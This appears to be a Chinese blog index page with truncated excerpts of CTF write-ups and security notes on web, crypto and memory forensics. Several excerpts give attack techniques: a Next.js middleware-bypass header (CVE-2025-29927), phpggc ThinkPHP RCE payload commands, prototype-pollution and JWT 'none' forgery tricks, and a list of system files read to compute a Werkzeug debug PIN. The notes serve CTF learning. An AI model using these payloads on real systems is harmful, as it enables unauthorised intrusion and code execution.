HeroCTF2025个人题解WP
WEB Tomwhat 题目部分源码 // LightServlet.javaprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String username = req.getParameter("username"); if ("darth_sidious".equalsIgnoreCase(username)) { req.setAttribute("error", "Forbidden username."); doGet(req, resp); return; } req.getSession().setAttribute("username&qu ...
NodeJS笔记自用
next_js 中间件绕过 cve-2025-29927 请求头加上 x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware 出现新的 Etag,替换一下给 If-None-Match,然后访问/dashboard 即可 小知识 connect.sid 类型的 Cookie,常见于使用 Express.js 搭配 express-session 中间件构建的 Node.js 应用 原型链污染 原型链污染, 过滤了 __proto__, 用 constructor.prototype 绕过 ejs 模板注入 https://www.anquanke.com/post/id/236354 { "username": "admin", "password": "123456", "constructor": { "prototyp ...
thinkphp漏洞总结
5.0文件写入漏洞 https://www.anquanke.com/post/id/196364 5.2RCE漏洞 ./phpggc -u ThinkPHP/RCE1 'system("cat /flag");' 6.0RCE漏洞 ./phpggc -u ThinkPHP/RCE2 'system("cat /flag");'
内存取证
因为2025年ciscn长城杯和ccsssc都考了很多内存取证题,都占到做题四分之三了。所以被迫开坑了。这是纯被逼的。。。 Lovelymem使用 使用建议加群获取,虽然开源了,但是群里还是分享了取证工具如vol和gimp,免得一个个找了。 接下来的题目都是在边刷边记录,加油。 PC’s name and IP address PC’s name vol2 python2 vol.py -f OtterCTF.vmem --profile=Win7SP1x64 printkey -K "ControlSet001\Control\ComputerName\ComputerName" Lovelymem 系统信息 WIN-LO6FAF3DTFE IP address vol2 python2 vol.py -f OtterCTF.vmem --profile=Win7SP1x64 netscan Lovelymem 网络信息 192.168.202.131 更新中。。
GHCTF2025个人题解WP
冲鸭汲汲爆!! Web upload?SSTI! 源码: import osimport refrom flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirectfrom werkzeug.utils import secure_filenameimport osfrom werkzeug.utils import secure_filenameapp = Flask(__name__)# 配置信息UPLOAD_FOLDER = 'static/uploads' # 上传文件保存目录ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}MAX_CONTENT_LENGTH = 16 * 1024 * ...
CISCN2024 x 长城杯 比赛题解
今年 Crypto 和 Web 都出了一题,比去年爆零有进步吧。 Crypto rasnd apbq+Crypto Lost_N 两道原题拼起来的 # Challenge1from tqdm import tqdmimport itertoolsimport gmpy2from Crypto.Util.number import *hints = [ 25574573929402935003283598068738618755197114816072485544111430127084604255064057898619020315793700619773020002231218663688600225987728493417652915285636730495107205389701731029171639528818049528850061176609364551478844661947985471969548086609584476215158971602178073047143790222773356597741788285217431876038197253930422 ...
常见jwt的工具使用和技巧
jwt 特性 jwt 原理就是 base64 编码,但 Base64 有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_。 所以如果有废弃的 cookie 被直接匹配过滤,可以试试替换增加无用字符,绕过 waf。 自己加密 jwt none import jwtheader = { "alg": "none", "typ": "JWT"}content = { "iss": "admin", "iat": 1667822180, "exp": 1667829380, "nbf": 1667822180, "sub": "admin", "jti": "237410127e2551647730b97941cdcae5& ...
GeekChallenge2024 Web+Misc+Crypto个人题解WP
我是极客大挑战2024第二名队里的web手 关注我们队的逆向手谢谢喵 Error 的小破站 Web 100%的⚪ js代码搜atob能直接看到base64编码的flag ezpop 题目源码: <?phpClass SYC{ public $starven; public function __call($name, $arguments){ if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){ die('no hack'); } file_put_contents($this->starven,"<?php exit();".$this->starven); }}Class lover{ public $J1rry; ...
Python中werkzeug有关PIN值的构造
参考自https://blog.hz2016.com/2023/07/flask调试模式pin值计算和利用/ 需要知道的文件名一览 用户名 通过/etc/passwd猜测,一般是root。如果有用户目录设在/app大概率是那个用户名 源码地址 通过报错得到 网络地址 /sys/class/net/eth0/address /sys/class/net/ens33/address 需要转十进制(后面有脚本) 机器ID 1. /etc/machine-id(一般仅非docker机有,截取全文) 2. /proc/sys/kernel/random/boot_id(一般仅非docker机有,截取全文) 3. /proc/self/cgroup(一般仅docker有,仅截取最后一个斜杠后面的内容) 优先选择1,没有1选2,只能选1,2中的一个。3有没有不影响,有就要连接在1或2的后面。 (1 or 2) (+3) 脚本 算地址(可以内置进下面的版本计算) address = "02:0a:27:03:12:57"print(int(address.replace(&qu ...
PHP特性
最特性的一集
